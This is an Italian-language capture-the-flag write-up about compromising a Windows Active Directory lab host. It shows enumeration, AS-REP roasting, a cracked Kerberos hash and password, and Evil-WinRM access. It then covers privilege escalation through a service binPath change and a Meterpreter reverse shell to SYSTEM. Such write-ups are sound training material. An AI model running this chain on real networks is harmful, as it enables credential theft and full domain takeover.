```
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Above Services
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-04-29
12:13:25Z)

135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn

389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
services.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain:
services.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped

3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: SERVICES
|   NetBIOS_Domain_Name: SERVICES
|   NetBIOS_Computer_Name: WIN-SERVICES
|   DNS_Domain_Name: services.local
|   DNS_Computer_Name: WIN-SERVICES.services.local
|   Product_Version: 10.0.17763
|_  System_Time: 2023-04-29T12:13:29+00:00
| ssl-cert: Subject: commonName=WIN-SERVICES.services.local
| Not valid before: 2023-02-14T05:27:26
|_Not valid after:  2023-08-16T05:27:26
|_ssl-date: 2023-04-29T12:13:38+00:00; +2h00m54s from scanner time.


echo 10.10.194.224 services.local >> /etc/hosts
echo 10.10.194.224 WIN-SERVICES.services.local >> /etc/hosts




[Analisi share]

└─$ crackmapexec smb services.local -u "" -p ""

SMB         services.local  445    WIN-SERVICES     [*] Windows 10.0 Build 17763
x64 (name:WIN-SERVICES) (domain:services.local) (signing:True) (SMBv1:False)
SMB         services.local  445    WIN-SERVICES     [+] services.local\:
LDAP        services.local  445    WIN-SERVICES     [-] Error in searchRequest
-> operationsError: 000004DC: LdapErr: DSID-0C090A5E, comment: In order to
perform this operation a successful bind must be completed on the connection.,
data 0, v4563
```

[Analisi del sito (niente di rilevante)]

```
wfuzz -H "Host: FUZZ.services.local" --hc 404,200 -c -z
file,"/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt"
http://services.local

gobuster dir -u http://services.local -w
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt
```

[Analisi DNS]

```
dig services.local any @10.10.194.224

;; ANSWER SECTION:
services.local.         600     IN      A       10.10.194.224
services.local.         3600    IN      NS      win-services.services.local.
services.local.         3600    IN      SOA     win-services.services.local.
hostmaster.services.local. 78 900 600 86400 3600

;; ADDITIONAL SECTION:
win-services.services.local. 1200 IN    A       10.10.194.224
```

[Analisi del sito (creiamo una wordlist)]

```
 j.doe@services.local
Joanne Doe
Jack Rock
Will Masters
Johnny LaRusso
```

[approccio kerberos]

AS-REP Roasting è un tipo di attacco che viene effettuato per gli account kerberos che non hanno la protezione pre-authentication attiva.
Pre-authentication è il primo step che viene utilizzato nel kerberos ed è stato disegnato per impedire attacchi a forza bruta sulle password.
Questo significa che se un account non ha attivato il preauthentication allora è possibile estrarne l'hash della passoword per tentare di decriptarla.

```
python kerbrute.py -users /home/kali/Desktop/list.txt -passwords
/usr/share/seclists/Passwords/common_corporate_passwords.lst -domain
services.local -dc-ip 10.10.194.224
```

```
[*] Valid user => j.doe@services.local
[*] Valid user => j.rock@services.local [NOT PREAUTH]   <---------------
[*] Valid user => w.masters@services.local
[*] Valid user => j.larusso@services.local
```

```
 python3 GetNPUsers.py -dc-ip 10.10.194.224 -request 'services.local/j.rock'
-format hashcat

Password:
[*] Cannot authenticate j.rock, getting its TGT
$krb5asrep$23$j.rock@SERVICES.LOCAL:356a38c4fc96ced9b9416be1efced183$99f2736c0ec
cc92e7a7c78a85d29cfafd4f23d72210302bdcc90c218bd30c7d77e599f19ff8fbd7af38b7458132
b8c0764fd566de9b6fabc445dea3b4f8841e6535c6d6046f15adbccc638b7a72db76c7878aefe8bd
6369a30652a550c9b8a7e6e2e81364ccb0467d2a0d5d589c94cc210cf0c3ac1f8621b8808b78598e
aa09adbcef0e1d8706067af946ee986063914ab9c43e848fefa5d3a4cbbc16661babafa816b94e2e
0f3e9b129a7ae7e267f8077ca28fa7462cc89d3d9d9161a6fe3a1a4268040157a24da64938fa9dec
ecc858aed98437eed72289337d1310e96c44a3d2eb7e8367563c1f53207a13507dffa
```

```
john ticket.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

```
└─$ john ticket.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4
HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Serviceworks1    ($krb5asrep$23$j.rock@SERVICES.LOCAL)
1g 0:00:03:55 DONE (2023-04-29 06:57) 0.004253g/s 45121p/s 45121c/s 45121C/s
Seth4Ever..Sergio03
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

```
coppia di credenziali:

j.rock:Serviceworks1
```

```
└─$ crackmapexec smb services.local -u "j.rock" -p "Serviceworks1" --shares
SMB         services.local  445    WIN-SERVICES     [*] Windows 10.0 Build 17763
x64 (name:WIN-SERVICES) (domain:services.local) (signing:True) (SMBv1:False)
SMB         services.local  445    WIN-SERVICES     [+]
services.local\j.rock:Serviceworks1
SMB         services.local  445    WIN-SERVICES     [+] Enumerated shares
SMB         services.local  445    WIN-SERVICES     Share           Permissions
   Remark
SMB         services.local  445    WIN-SERVICES     -----           -----------
   ------
SMB         services.local  445    WIN-SERVICES     ADMIN$          READ
```

```
   Remote Admin
SMB         services.local  445    WIN-SERVICES     C$              READ,WRITE
   Default share
SMB         services.local  445    WIN-SERVICES     IPC$            READ
   Remote IPC
SMB         services.local  445    WIN-SERVICES     NETLOGON        READ
   Logon server share
SMB         services.local  445    WIN-SERVICES     SYSVOL          READ
   Logon server share


└─$ evil-winrm -i services.local -u j.rock -p Serviceworks1

      130 ×

Evil-WinRM shell v3.4

*Evil-WinRM* PS C:\Users\j.rock\Documents> whoami
services\j.rock



*Evil-WinRM* PS C:\inetpub\wwwroot> net user

User accounts for \\

-------------------------------------------------------------------------------
Administrator            Guest                    j.doe
j.larusso                j.rock                   krbtgt
w.masters


C:\users\j.rock>net user j.rock
net user j.rock
User name                    j.rock
Full Name                    Jack Rock
Comment                      IT Support
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            2/15/2023 5:42:32 AM
Password expires             Never
Password changeable          2/16/2023 5:42:32 AM
Password required            No
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never
```

```
Logon hours allowed          All

Local Group Memberships      *Remote Management Use*Server Operators
<------------------
Global Group memberships     *Domain Users
The command completed successfully.


*Evil-WinRM* PS C:\users\j.rock> services

Path
Privileges Service
----
---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe
    True ADWS
"C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe"
    True AmazonSSMAgent   <--------------------
"C:\Program Files\Amazon\XenTools\LiteAgent.exe"
    True AWSLiteAgent
"C:\Program Files\Amazon\cfn-bootstrap\winhup.exe"
    True cfn-hup
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe
    True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe
    True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"
   False Sense
C:\Windows\servicing\TrustedInstaller.exe
   False TrustedInstaller
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\NisSrv.exe"
    True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2302.7-0\MsMpEng.exe"
    True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe"
   False WMPNetworkSvc


*Evil-WinRM* PS C:\users\j.rock> sc.exe config AmazonSSMAgent binPath="net
localgroup administrators services\j.rock /add"
[SC] ChangeServiceConfig SUCCESS


sc.exe stop AmazonSSMAgent
sc.exe start AmazonSSMAgent



*Evil-WinRM* PS C:\Users\j.rock\Documents> net user j.rock
User name                    j.rock
Full Name                    Jack Rock
Comment                      IT Support
User's comment
Country/region code          000 (System Default)
```

```
Account active               Yes
Account expires              Never

Password last set            2/15/2023 5:42:32 AM
Password expires             Never
Password changeable          2/16/2023 5:42:32 AM
Password required            No
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
<--------------------
                             *Server Operators


carichiamo e lanciamo meterpreter

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.8.8.53:8080
[*] Meterpreter session 6 opened (10.8.8.53:8080 -> 10.10.60.113:60711) at
2023-04-30 15:57:01 -0400

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM  <------------
```